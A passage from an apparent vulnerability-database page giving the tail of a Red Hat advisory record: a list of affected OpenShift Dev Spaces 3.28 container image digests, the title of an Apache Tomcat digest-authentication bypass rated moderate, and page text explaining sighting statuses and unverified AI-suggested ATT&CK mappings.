"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:baff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:e9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:af397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:b73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:cef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:a062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:fbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:e2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:f8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:c10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:cb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b_arm64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Moderate"
}
],
"title": "tomcat-coyote: Apache Tomcat: Authentication bypass via digest authentication"
}
]
}
Loading…
Trend slope:
-
(linear fit over daily sighting counts)
Show additional events:
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loading…
Loading…